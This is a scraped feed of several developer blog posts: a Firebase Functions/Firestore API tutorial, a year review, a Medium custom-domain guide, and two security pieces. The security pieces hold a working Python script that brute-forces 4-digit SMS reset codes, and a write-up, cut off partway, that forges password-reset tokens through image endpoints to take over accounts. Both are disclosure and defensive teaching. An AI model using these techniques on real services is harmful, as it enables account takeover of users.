\"author\": author}; await admin.firestore().collection('posts').doc(req.params.id).update(post); res.status(200).send({\"message\":\"Update successful!\"});});exports.post= functions.https.onRequest(app);Deployment & testing method is the same as adding, remember to change the Post Man Http Method to PUT.DELETE Delete Articleindex.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Deleteapp.delete(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Article not found!\"}); } await admin.firestore().collection(\"posts\").doc(req.params.id).delete(); res.status(200).send({\"message\":\"Article deleted successfully!\"});})exports.post= functions.https.onRequest(app);Deployment & testing method is the same as adding, remember to change the Post Man Http Method to DELETE.Adding, modifying, and deleting are done, let’s do the query!SELECT Query Articlesindex.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Select Listapp.get('/', async (req, res) => { const posts = await admin.firestore().collection('posts').get(); var result = []; posts.forEach(doc => { let id = doc.id; let data = doc.data(); result.push({\"id\":id, ...data}) }); res.status(200).send({\"result\":result});});// Select Oneapp.get(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Article not found!\"}); } res.status(200).send({\"result\":{\"id\":doc.id, ...doc.data()}});});exports.post= functions.https.onRequest(app);Deployment & testing method is the same as adding, remember to change the Post Man Http Method to GET and switch Body back to none.InsertOrUpdate?Sometimes we need to update when the value exists and add when the value does not exist. In this case, we can use set with merge: true:index.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// InsertOrUpdateapp.post(\"/tag\", async (req, res) => { const name = req.body.name; if (name == null) { return res.status(400).send({\"message\":\"Invalid parameter!\"}); } var tag = {\"name\":name}; await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); res.status(201).send({\"message\":\"Added successfully!\"});});exports.post= functions.https.onRequest(app);Here, taking adding a tag as an example, the deployment & testing method is the same as adding. You can see that Firestore will not repeatedly add new data.Article Like CounterSuppose our article data now has an additional likeCount field to record the number of likes. How should we do it?index.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Like Postapp.post(\"/like/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"Article not found!\"}); } await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); res.status(201).send({\"message\":\"Liked successfully!\"});});exports.post= functions.https.onRequest(app);Using the increment variable allows you to directly perform the action of retrieving the value +1.High Traffic Article Like CounterBecause Firestore has write speed limits:A document can only be written once per second, so when there are many people liking it; simultaneous requests may become very slow.The official solution “ Distributed counters “ is actually not very advanced technology, it just uses several distributed likeCount fields to count, and then sums them up when reading.index.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Distributed counters Like Postapp.post(\"/like2/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"Article not found!\"}); } //1~10 await admin.firestore().collection('posts').doc(req.params.id).collection(\"likeCounter\").doc(\"likeCount_\"+(Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}); res.status(201).send({\"message\":\"Like successful!\"});});exports.post= functions.https.onRequest(app);The above is to distribute the fields to record Count to avoid slow writing; but if there are too many distributed fields, it will increase the reading cost ($$), but it should still be cheaper than adding a new record for each like.Using Siege Tool for Stress TestingUse brew to install siegebrew install siegep.s If you encounter brew: command not found, please install the brew package management tool first:/usr/bin/ruby -e \"$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)\"After installation, you can run:siege -c 100 -r 1 -H 'Content-Type: application/json' 'https://us-central1-project.cloudfunctions.net/post/like/id POST {}'Perform stress testing: -c 100: 100 tasks executed simultaneously -r 1: Each task executes 1 request -H ‘Content-Type: application/json’: Required if it is a POST ‘https://us-central1-project.cloudfunctions.net/post/like/id POST {}’: POST URL, Post Body (ex: {“name”:”1234”})After execution, you can see the results:successful_transactions: 100 indicates that all 100 transactions were successful.You can go back to Firebase -> Firestore to check if there is any Loss Data: Success!Complete Example Codeindex.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));// Insertapp.post('/', async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"Parameter error!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author, \"created_at\": new Date()}; await admin.firestore().collection('posts').add(post); res.status(201).send({\"message\":\"Successfully added!\"});});// Updateapp.put(\"/:id\", async (req, res) => { const title = req.body.title; const content = req.body.content; const author = req.body.author; const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Post not found!\"}); } else if (title == null || content == null || author == null) { return res.status(400).send({\"message\":\"Parameter error!\"}); } var post = {\"title\":title, \"content\":content, \"author\": author}; await admin.firestore().collection('posts').doc(req.params.id).update(post); res.status(200).send({\"message\":\"Successfully updated!\"});});// Deleteapp.delete(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Post not found!\"}); } await admin.firestore().collection(\"posts\").doc(req.params.id).delete(); res.status(200).send({\"message\":\"Post successfully deleted!\"});});// Select Listapp.get('/', async (req, res) => { const posts = await admin.firestore().collection('posts').get(); var result = []; posts.forEach(doc => { let id = doc.id; let data = doc.data(); result.push({\"id\":id, ...data}) }); res.status(200).send({\"result\":result});});// Select Oneapp.get(\"/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); if (!doc.exists) { return res.status(404).send({\"message\":\"Post not found!\"}); } res.status(200).send({\"result\":{\"id\":doc.id, ...doc.data()}});});// InsertOrUpdateapp.post(\"/tag\", async (req, res) => { const name = req.body.name; if (name == null) { return res.status(400).send({\"message\":\"Parameter error!\"}); } var tag = {\"name\":name}; await admin.firestore().collection('tags').doc(name).set({created_at: new Date()}, {merge: true}); res.status(201).send({\"message\":\"Successfully added!\"});});// Like Postapp.post(\"/like/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"Post not found!\"}); } await admin.firestore().collection('posts').doc(req.params.id).set({likeCount: increment}, {merge: true}); res.status(201).send({\"message\":\"Successfully liked!\"});});// Distributed counters Like Postapp.post(\"/like2/:id\", async (req, res) => { const doc = await admin.firestore().collection('posts').doc(req.params.id).get(); const increment = admin.firestore.FieldValue.increment(1) if (!doc.exists) { return res.status(404).send({\"message\":\"Post not found!\"}); } //1~10 await admin.firestore().collection('posts').doc(req.params.id).collection(\"likeCounter\").doc(\"likeCount_\"+(Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}); res.status(201).send({\"message\":\"Successfully liked!\"});});exports.post= functions.https.onRequest(app);Back to the topic, push notification statisticsBack to what we initially wanted to do, the push notification statistics feature.index.js:const functions = require('firebase-functions');const admin = require('firebase-admin');const express = require('express');const cors = require('cors');const app = express();admin.initializeApp();app.use(cors({ origin: true }));const vaildPlatformTypes = [\"ios\",\"Android\"]const vaildActionTypes = [\"clicked\",\"received\"]// Insert Logapp.post('/', async (req, res) => { const increment = admin.firestore.FieldValue.increment(1); const platformType = req.body.platformType; const pushID = req.body.pushID; const actionType = req.body.actionType; if (!vaildPlatformTypes.includes(platformType) || pushID == undefined || !vaildActionTypes.includes(actionType)) { return res.status(400).send({\"message\":\"Invalid parameters!\"}); } else { await admin.firestore().collection(platformType).doc(actionType+\"_\"+pushID).collection(\"shards\").doc((Math.floor(Math.random()*10)+1).toString()) .set({count: increment}, {merge: true}) res.status(201).send({\"message\":\"Record successful!\"}); }});// View Logapp.get('/:type/:id', async (req, res) => { // received const receivedDocs = await admin.firestore().collection(req.params.type).doc(\"received_\"+req.params.id).collection(\"shards\").get(); var received = 0; receivedDocs.forEach(doc => { received += doc.data().count; }); // clicked const clickedDocs = await admin.firestore().collection(req.params.type).doc(\"clicked_\"+req.params.id).collection(\"shards\").get(); var clicked = 0; clickedDocs.forEach(doc => { clicked += doc.data().count; }); res.status(200).send({\"received\":received,\"clicked\":clicked});});exports.notification = functions.https.onRequest(app);Add Push Notification RecordView Push Notification Statisticshttps://us-centra1-xxx.cloudfunctions.net/notification/iOS/1Additionally, we also created an interface to count push notification numbers.Pitfalls Since I am not very familiar with node.js, during the initial exploration, I did not add await when adding data. Coupled with the write speed limit, it led to Data Loss under high traffic conditions…PricingDon’t forget to refer to the pricing strategy for Firebase Functions & Firestore.Functions https://cloud.google.com/functions/pricing?hl=zh-twComputation TimeNetwork Cloud Functions offers a permanent free tier for computation time resources, which includes GB/seconds and GHz/seconds of computation time. In addition to 2 million invocations, the free tier also provides 400,000 GB/seconds and 200,000 GHz/seconds of computation time, as well as 5 GB of internet egress per month.Firestore https://cloud.google.com/firestore/pricing?hl=zh-tw Billing Example Prices are subject to change at any time, please refer to the official website for the latest information.ConclusionAs the title suggests, “for testing”, “for testing”, “for testing” it is not recommended to use the above services in a production environment or as the core of a product launch.Expensive and Hard to MigrateI once heard that a fairly large service was built using Firebase services, and later on, with large data and traffic, the charges became extremely expensive; it was also very difficult to migrate, the code was okay but the data was very hard to move; it can only be said that saving a little money in the early stages caused huge losses later on, not worth it.For Testing OnlyFor the above reasons, I personally recommend using Firebase Functions + Firestore to build API services only for testing or prototype product demonstrations.More FeaturesFunctions can also integrate Authentication, Storage, but I haven’t researched this part.References https://firebase.google.com/docs/firestore/query-data/queries https://coder.tw/?p=7198 https://firebase.google.com/docs/firestore/solutions/counters#node.js_1 https://javascript.plainenglish.io/firebase-cloud-functions-tutorial-creating-a-rest-api-8cbc51479f80Further Reading Using Python+Google Cloud Platform+Line Bot to Automate Routine Tasks i OS ≥ 10 Notification Service Extension Application (Swift) Using Google Apps Script to Forward Gmail to SlackIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Password Recovery SMS Verification Code Security Issue", "url": "/posts/99a6cef90190/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, hacker, web-security, password-security, security-token", "date": "2021-03-14 23:57:38 +0800", "snippet": "Password Recovery SMS Verification Code Security IssueDemonstrating the severity of brute force attacks using PythonPhoto by Matt ArtzIntroductionThis article doesn’t contain much technical content...", "content": "Password Recovery SMS Verification Code Security IssueDemonstrating the severity of brute force attacks using PythonPhoto by Matt ArtzIntroductionThis article doesn’t contain much technical content in terms of information security. It was simply a sudden idea I had while using a certain platform’s website; I decided to test its security and discovered some issues.When using the password recovery feature on websites or apps, there are generally two options. One is to enter your account or email, and then a link to a password reset page containing a token will be sent to your email. Clicking the link will open the page where you can reset your password. This part is generally secure unless, as mentioned in this previous article, there are design flaws.The other method for password recovery is to enter the bound phone number (mostly used in app services), and then an SMS verification code will be sent to your phone. After entering the verification code, you can reset your password. For convenience, most services use purely numeric codes. Additionally, since iOS ≥ 11 introduced the Password AutoFill feature, the keyboard will automatically recognize and prompt the verification code when the phone receives it.According to the official documentation, Apple has not provided specific rules for the format of automatically filled verification codes. However, I noticed that almost all services supporting auto-fill use purely numeric codes, suggesting that only numbers can be used, not a complex combination of numbers and letters.IssueNumeric passwords are susceptible to brute force attacks, especially 4-digit passwords. There are only 10,000 combinations from 0000 to 9999. Using multiple threads and machines, brute force attacks can be divided and executed.Assuming a verification request takes 0.1 seconds to respond, 10,000 combinations = 10,000 requestsTime required to crack: ((10,000 * 0.1) / number of threads) secondsEven without using threads, it would take just over 16 minutes to find the correct SMS verification code. In addition to insufficient password length and complexity, other issues include the lack of a limit on verification attempts and excessively long validity periods.CombinationCombining the above points, this security issue is common in app environments. Web services often add CAPTCHA verification after multiple failed attempts or require additional security questions when requesting a password reset, increasing the difficulty of sending verification requests. Additionally, if web service verification is not separated between the front and back ends, each verification request would require loading the entire webpage, extending the response time.In app environments, the password reset process is often simplified for user convenience. Some apps even allow login through phone number verification alone. If the API lacks protection, it can lead to security vulnerabilities.Implementation ⚠️Warning⚠️ This article is only intended to demonstrate the severity of this security issue. Do not use this information for malicious purposes.Sniffing Verification Request APIEverything starts with sniffing. For this part, you can refer to previous articles “ The app uses HTTPS, but data is still stolen. “ and “ Using Python+Google Cloud Platform+Line Bot to automate routine tasks “. For the principles, refer to the first article, and for practical implementation, it is recommended to use Proxyman as mentioned in the second article.If it is a front-end and back-end separated website service, you can use Chrome -> Inspect -> Network -> See what request was sent after submitting the verification code.Assuming the verification code request obtained is:POST https://zhgchg.li/findPWDResponse:{ \"status\": false, \"msg\": \"Verification error\"}Writing a brute force Python scriptcrack.py:import randomimport requestsimport jsonimport threadingphone = \"0911111111\"found = Falsedef crack(start, end): global found for code in range(start, end): if found: break stringCode = str(code).zfill(4) data = { \"phone\" : phone, \"code\": stringCode } headers = {} try: request = requests.post('https://zhgchg.li/findPWD', data = data, headers = headers) result = json.loads(request.content) if result[\"status\"] == True: print(\"Code is:\" + stringCode) found = True break else: print(\"Code \" + stringCode + \" is wrong.\") except Exception as e: print(\"Code \"+ stringCode +\" exception error (\" + str(e) + \")\")def main(): codeGroups = [ [0,1000],[1000,2000],[2000,3000],[3000,4000],[4000,5000], [5000,6000],[6000,7000],[7000,8000],[8000,9000],[9000,10000] ] for codeGroup in codeGroups: t = threading.Thread(target = crack, args = (codeGroup[0],codeGroup[1],)) t.start()main()After running the script, we get:Verification code is: 1743Enter 1743 to reset the password or directly log in to the account. Bigo!Solutions Add more information verification for password reset (e.g., birthday, security questions) Increase the length of the verification code (e.g., Apple 6-digit code), increase the complexity of the verification code (if it does not affect AutoFill functionality) Invalidate the verification code after more than 3 incorrect attempts, requiring the user to resend the verification code Shorten the validity period of the verification code Lock the device after too many incorrect attempts, add graphical verification codes Implement SSL Pinning in the APP, encrypt and decrypt transmissions (to prevent sniffing)Further Reading Revealing a Clever Website Vulnerability Discovered Years Ago How to Create an Interesting Engineering CTF Competition The APP Uses HTTPS Transmission, But the Data Was Still Stolen Automate Routine Tasks Using Python + Google Cloud Platform + Line BotIf you have any questions or suggestions, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Bye Bye 2020: A Review of the Second Year on Medium", "url": "/posts/5ea3311119d8/", "categories": "ZRealm, Life.", "tags": "life, medium, blog, ios, taiwan", "date": "2021-02-24 20:59:41 +0800", "snippet": "Bye Bye 2020: A Review of the Second Year on MediumA very late review of 2020Image taken from the official poster of Simple Life Festival 2020, where I served as an iOS Developer for StreetVoice R...", "content": "Bye Bye 2020: A Review of the Second Year on MediumA very late review of 2020Image taken from the official poster of Simple Life Festival 2020, where I served as an iOS Developer for StreetVoice Review of the first year 2018–2019 is here.A Difficult YearUnrelated to work, 2020 was a difficult year for me; I went through many major setbacks, but fortunately, I got through them.I just want to say one thing: People should learn to cherish the present and appreciate what they have.WorkBack to work, in 2020 I stepped out of my comfort zone and entered a new environment; this exposed me to many new things and I absorbed a lot of essential knowledge in iOS and engineering development. Although the number of articles I produced in 2020 was not as high as before, and I even stopped updating for three to four months, the quality over quantity approach paid off. The articles I wrote in 2020, though fewer, performed better than before; I am gradually making progress!Additionally, last year I also set up my personal website using Google Sites and will continue to sync new Medium articles there.zhgchg.liOriginal IntentionI am still the same person; I am very lazy. I don’t write articles just for the sake of writing. Each article is a process of recording insights that I have brewed over time. If I get lazy and don’t do it in one go, I probably won’t go back to write it (but this mostly happens with unimportant or uninteresting topics).The downside is that sometimes I get too enthusiastic and write too quickly. Typos are minor, but if the content is incorrect or incomplete and misleads people, it’s a real sin Orz. So this year, when writing articles, I will research and address any issues I can think of, even if I didn’t use them in my initial project. If I can’t address them, I will leave a note to remind readers to pay attention to that aspect.Chrome Extension Used for Writing Articles Recommending Code Medium again, which allows you to use Gist to embed beautiful code directly in Medium!After installing, click “+” on Medium and then select the last option “<>”The screen will split into two, and you can enter the code directly on the right:After submitting, it will be embedded in the Medium article as a gist:The advantage of embedding code with gist is that it supports syntax highlighting, making it easier for readers to read. The downside is that if you want to convert Medium to markdown format, the embedded code cannot be automatically converted and you have to manually Copy & Paste. - Tried many conversion tools but none support gist extraction. If anyone knows, please share. - Medium’s built-in code block still doesn’t support syntax highlighting, so this is the only way. Medium Next Generation Stats: Enhance Medium backend statistics displayDaily traffic aggregation display, allowing you to see today’s traffic composition at a glance.Additionally, it includes features for tracking new followers, claps, and more.Goals for This YearBackup PlanBesides continuing to write; I plan to find time to convert each article into Markdown format and upload them to Github for backup, in case Medium suddenly crashes one day… Currently, I am using Typora as the editor; it’s quite handy, and I’ll introduce it later!TyporaThe current progress is about 15% complete, because it’s quite boring, so I’m a bit lazy, haha. Medium’s official backup download only backs up plain text, images are still linked externally and not downloaded; moreover, the code parts are embedded and cannot be directly displayed in Markdown.Independent DomainIt has already been deployed, please refer to “Medium Custom Domain Feature Returns”. Profile page: blog.zhgchg.li (I only use the subdomain blog.zhgchg.li because the main domain has other uses)However, I found that it affects Google SEO, so I’m still considering & testing whether to really use it.Buy Me A Coffee!Recently, I also activated the following services: Buy Me A Coffee Liker LandAnyway, I’m IdleStatisticsFinally, let’s have some statistics!In 2020, a total of:16 articles were published: 3 lifestyle + 2 unboxing + 11 technical articlesSite-wide accumulation up to 2021/02/24: Total views of all articles: 180,000 times (2x growth) Total claps for all articles: 11,000 times (1x growth) Followers: surpassed 400 (1x growth)Articles that performed better include: iOS UIViewController Transition Tips First Experience with iOS Reverse Engineering iOS 14 Clipboard Data Theft Panic: Privacy vs. Convenience Apple Watch Series 6 Unboxing & Two-Year Usage Experience Using iPhone to Easily Create “Fake” Transparent Phone Wallpapers Thanks for everyone’s support and love in 2020, I will continue to work hard this year! Your feedback is my motivation to write!ZhgChgLi, 2021/02/24.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Medium Custom Domain Feature Returns", "url": "/posts/d9a95d4224ea/", "categories": "ZRealm, Life.", "tags": "medium, life, domain-names, domain-authority, domain-registration", "date": "2021-02-24 02:25:15 +0800", "snippet": "Medium Custom Domain Feature ReturnsTake care of your Domain Authority yourself![2024/07/28] Feature ReturnsA series of ups and downs, this feature was opened in 2012, then closed; reopened in 2021...", "content": "Medium Custom Domain Feature ReturnsTake care of your Domain Authority yourself![2024/07/28] Feature ReturnsA series of ups and downs, this feature was opened in 2012, then closed; reopened in 2021, announced closure again in 2022; recently in 2024, it’s back again, and the official complete setup guide has been updated. You can refer to the latest official documentation for setup, and refer to this article for the domain registration process. Setting up a custom domain for your profile or publication Take advantage of the open period to set it up quickly, as we never know when the official will decide to close it again; existing custom domains are not affected. I set up https://blog.zhgchg.li in 2021 when the official closed the custom domain feature, but it still works and is usable to this day.Breaking News!Custom domains are back!Medium’s official blog announced on 2021/02/17 that Medium is once again allowing creators to bind their own domain names! Whether it’s a creator’s Profile page or Publications, both support customization.What is a “Custom Domain”To ensure that readers from all backgrounds understand, here’s a simple explanation of what a custom domain is.A domain is like an address in the online world; if I enter the address Medium.com, I will go to Medium; now, creators can customize their domain, which is like customizing their address. You can register the address you want and then link it to your Medium account to replace the original address; for example, I use blog.zhgchg.li as my address, and it will lead to my Medium page.HistoryResearch shows that this feature was available in the early days around 2012, with a one-time $75 setup fee. However, when I started writing on Medium in 2018, this feature had already been discontinued. Existing users were not affected, so sometimes when browsing Medium, you may see a domain that belongs to you but the website is hosted on Medium, which is pretty cool. It was rumored that this feature was launched for a while and then taken down, possibly due to commercial considerations as having a custom domain could reduce Medium’s visibility.Benefits Visibility: A custom domain can bring many benefits to creators, the most straightforward being visibility. Instead of using medium.com/@xxxx, you can display your name directly, for example, zhgchg.li. Flexibility: If you decide to move away from Medium and host your own website in the future, you can redirect the original links to the new site. Domain Authority: This is related to SEO search result rankings. By using Medium to build the authority of your domain, you can transition to other platforms without worrying about starting from scratch with SEO.Drawbacks You lose the high Domain Authority SEO ranking advantage of medium.com, which may significantly impact incoming search traffic in the early stages.RulesI noticed that when sharing links to articles, if the article is part of a Publication but the Publication does not have a custom domain set, or if the Profile’s domain is not used, the link will revert to the default medium.com link.My SetupHere is an example of my setup for reference: Profile Page: blog.zhgchg.li (I only use the subdomain blog.zhgchg.li because the main domain serves another purpose) I initially set up a Publication page, but later removed it. Since I have few followers and limited ability to generate traffic on my own, I heavily rely on search engine traffic from Google and others. If the Publication page also used a Custom Domain, the article links would be under my domain, but my domain is not well-established yet, resulting in poor search rankings and low traffic. Setting up only the Profile without a Publication has its advantages. The original medium links can still be indexed by Google, and having a link with your own domain allows for a balanced approach. You retain your existing traffic while gradually building the Domain Authority of your domain.Target AudienceBuilding authority for a domain takes a long time. I believe this feature is most suitable for those who already have a website service (e.g., musicplayer.com). If you want to build a community, you can directly use Medium, and in this case, a domain like blog.musicplayer.com can be used.The two scenarios where this feature is suitable are: 1) using the Medium platform to write articles (with increasing customization options) and 2) having a domain with enough Domain Authority that won’t significantly affect SEO.PricingDomain Part:You can obtain a domain from Namecheap (used as an example in this article) or Godaddy based on your preference. The common price range for a .com domain is approximately $200 to $500 TWD per year. The price varies depending on the domain suffix, length, and rarity, with some rare domains costing millions or even billions.Domain registration operates on a first-come, first-served basis. Unless a domain name is protected by a trademark in a specific region, it is usually a race to register it. If someone else registers it first, you may need to negotiate a purchase. This has led to a practice known as domain squatting, where individuals register numerous domains and hold them without use, waiting to sell them to others.Domains require annual payments or can be purchased for multiple years, but there is no option for a lifetime purchase. If you fail to renew the domain, it will be released after the protection period, allowing anyone to register it again.However, Medium users are unlikely to encounter domain squatting issues, as most users are individuals. I registered using my online account zhgchg.li, which had not been taken. If you do encounter duplicates, you can consider changing the suffix to something like .div/.net, etc.For the suffix part, you can refer to the List of Internet Top-Level Domains, but having a suffix listed does not guarantee availability for registration. It depends on the regulations of the domain’s country and whether platforms like Namecheap or Godaddy sell domains with that suffix.For example, .li is the domain for Liechtenstein, and currently, there are no restrictions on who can register a domain. Only Namecheap still offers this domain for sale.Benefits of being named Li? By the way, my spelling zhgchg.li is also called Domain Hack; a better example is google => goo.gl.Medium Section:The one-time $75 setup fee has been canceled, and it has been changed to be available for all Medium paid members (monthly $5 / yearly $50); but I actually prefer the original one-time setup fee QQ; because I am mostly a creator and do not need the subscription privileges of paid members, the monthly and yearly fee system is more burdensome for me, and I am starting to consider joining the paywall project Orz.Update on 2021/04/05What happens if you join the membership plan first and then do not continue to renew after setting up a custom domain? After testing, the custom domain remains valid even after the membership expires!Getting Started1. Purchase & Obtain a Domain Name (Using Namecheap as an example)First, go to the Namecheap official website to search for a domain name you like:Get search results:If the button on the right says “Add To Cart,” it means the domain name is available for registration and can be added to the cart for purchase.If the button on the right says “Make offer” or “Taken,” it means the domain name has already been registered, so please choose a different suffix or a different domain name:After adding to the cart, click on “Checkout” at the bottom.Proceed to the order confirmation page: Domain Registration: Here, you can choose AUTO-RENEW for automatic renewal each year, or you can choose to purchase for a specific number of years. WhoisGuard: Since domain information can be publicly accessed by anyone (registration date, expiration date, registrant, contact information), this feature allows you to display Namecheap as the registrant and contact information instead of your personal details, which helps prevent spam messages. (This feature may incur charges for some suffixes, so use it if it’s free!)Here are some whois information results for google.com, which can be checked here. PremiumDNS: We know that a domain name is like an address, meaning when you see an address, you know where to go; this feature provides a more stable and secure way to find the location, but I think it’s unnecessary unless it’s for a high-traffic e-commerce website where no errors can be tolerated.Enter credit card information and click on “Confirm Order.”You have successfully made the purchase!You will receive an order summary email.2. Setting Up the Domain (Using Namecheap as an example)After logging into your account, click on Account in the upper left corner -> “ Dashboard”Enter the “Dashboard” and switch to the “Domain List” tab, find the Domain you just purchased, and click on “Manage”.Once inside, switch to the last tab “Advanced DNS”.Keep this page open and go back to Medium.Go to the Medium settings page, locate the “Profile” section, and click on “Get started” in the “Custom domain” part. For Publications, go to Publications’ “Homepage and settings,” and at the bottom, find the “Custom domain” section.If it shows “Upgrade,” it means you need to upgrade to a paid user to use this feature.Access the settings page:Enter your Domain name, e.g., www.example.com.Remember this information and go back to the Namecheap settings page.In the “Advanced DNS” tab, locate the “HOST RECORDS” section.Click the “ADD NEW RECORD” button twice to add two new data fields.Enter the information from Medium: Select “A Record” If you are the main domain (e.g., zhgchg.li), enter www; if you are a subdomain, enter the subdomain name Enter the IP same as the information on MediumClick the checkmark on the right to complete the addition.Check again if there are records in the “HOST RECORDS” section.If there are records, the Namecheap setup is complete. Go back to the Medium settings page.Click “Continue” to proceed.If you see the processing page, it means the setup is complete!Note that it may take up to 48 hours for the Domain binding DNS settings to take full effect. Accessing the domain may show a 404 error if not yet effective.AttentionSharing links with a custom domain that is later changed may cause previously shared links to become invalid.Minor IssuesAs of 2021/02/24, there are still some issues to be resolved by Medium:Custom domains are back!But I believe it’s already functioning correctly 99%!What happens if you cancel the paid membership… will it expire directly?Further Reading [Productivity Tools] Embracing the Sidekick Browser after Abandoning ChromeFeel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Revealing a Clever Website Vulnerability Discovered Years Ago", "url": "/posts/142244e5f07a/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, hacker, web-security, website-security-test, capture-the-flag", "date": "2021-02-22 21:27:06 +0800", "snippet": "Revealing a Clever Website Vulnerability Discovered Years AgoWebsite security issues caused by multiple vulnerabilities combinedPhoto by Tarik HaigaIntroductionA few years ago, while still supporti...", "content": "Revealing a Clever Website Vulnerability Discovered Years AgoWebsite security issues caused by multiple vulnerabilities combinedPhoto by Tarik HaigaIntroductionA few years ago, while still supporting web development, I was assigned the task of organizing a CTF competition for the company’s internal engineering team. Initially, the idea was to have teams attack and defend each other’s products, but as the organizer, I wanted to first understand the level of expertise. So, I conducted penetration tests on various company products to see how many vulnerabilities I could find, ensuring the event would run smoothly. However, due to limited competition time and significant differences between engineering teams, the final questions were based on common engineering knowledge and interesting topics. Those interested can refer to my previous article, “ How to Create an Interesting Engineering CTF Competition “, which contains many mind-blowing questions!Discovered VulnerabilitiesI found a total of four vulnerabilities across three products. Besides the issue discussed in this article, I also discovered the following common website vulnerabilities: Never Trust The Client! This is a basic issue where the frontend directly sends the ID to the backend, and the backend accepts it. This should be changed to token recognition. Password Reset Design Flaw I don’t remember the exact details, but there was a design flaw that allowed bypassing email verification during the password reset process. XSS Issue The vulnerability discussed in this articleAll vulnerabilities were found through black-box testing. Only the product with the XSS issue was one I had participated in developing; I had no prior knowledge of the others or their code.Current Status of the VulnerabilityAs a white-hat hacker, I reported all discovered issues to the engineering team immediately, and they were fixed. It’s been two years now, and I think it’s time to disclose this. However, to respect my former company’s position, I won’t mention which product had this vulnerability. Just focus on the discovery process and reasons behind it!Consequences of the VulnerabilityThis vulnerability allows an attacker to arbitrarily change the target user’s password, log in to the target user’s account with the new password, steal personal information, and perform illegal operations.Main Cause of the VulnerabilityAs the title suggests, this vulnerability was triggered by a combination of multiple factors, including: Account login not supporting two-factor authentication or device binding Password reset verification using a serial number Decryption vulnerability in the website’s data encryption function Misuse of encryption and decryption functions Design flaws in the verification token Backend not re-validating field correctness User email being public information on the platformReproducing the VulnerabilitySince user emails are public information on the platform, we first browse the platform to find the target account’s email. After knowing the email, go to the password reset page. First, enter your own email to initiate the password reset process. Then, enter the email of the account you want to hack and initiate the password reset process again.Both actions will send out password reset verification emails.Go to your email to receive your password reset verification email.The change password link has the following URL format:https://zhgchg.li/resetPassword.php?auth=PvrrbQWBGDQ3LeSBBydPvrrbQWBGDQ3LeSBByd is the verification token for this password reset operation.However, while observing the verification code image on the website, I noticed that the link format for the verification code image is also similar:https://zhgchg.li/captchaImage.php?auth=6EqfSZLqDc6EqfSZLqDc shows 5136.What happens if we put our password reset token in? Who cares! Let’s try it! Bingo!But the captcha image is too small to get complete information.Let’s keep looking for exploitable points…The website, to prevent web scraping, displays users’ public profile email addresses as images. Keyword: images! images! images!Let’s open it up and take a look:Profile PagePart of the Webpage Source CodeWe also got a similar URL format result:https://zhgchg.li/mailImage.php?mail=V3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVtV3sDblZgDGdUOOBlBjpRblMTDGwMbwFmUT10bFN6DDlVbAVt shows zhgchgli@gmail.comSame thing, let’s stuff it in! Bingo!🥳🥳🥳 PvrrbQWBGDQ3LeSBByd = 2395656After reversing the password reset token and finding out it’s a numberI thought, could it be a serial number…So I entered the email again to request a password reset, decoded the new token from the received email, and got 2395657… what the fxck… it really is.Knowing it’s a serial number makes things easier, so the initial operation was to request a password reset email for my account first, then request it for the target to be hacked; because we can already predict the next password request ID. Next, we just need to find a way to convert 2395657 back to a token!Coincidentally, we found another issue The website only validates the email format on the frontend when editing data, without re-validating the format on the backend…Bypassing the frontend validation, we change the email to the next target. Fire in the hole!We got:https://zhgchg.li/mailImage.php?mail=UTVRZwZuDjMNPLZhBGINow, take this password reset token back to the password reset page: Success! Bypassed verification to reset someone else’s password!Finally, because there is no two-factor authentication or device binding feature; once the password is overwritten, you can log in directly and impersonate the user.Reason for the IncidentLet’s review the whole process. Initially, we wanted to reset the password but found that the reset token was actually a serial number, not a truly unique 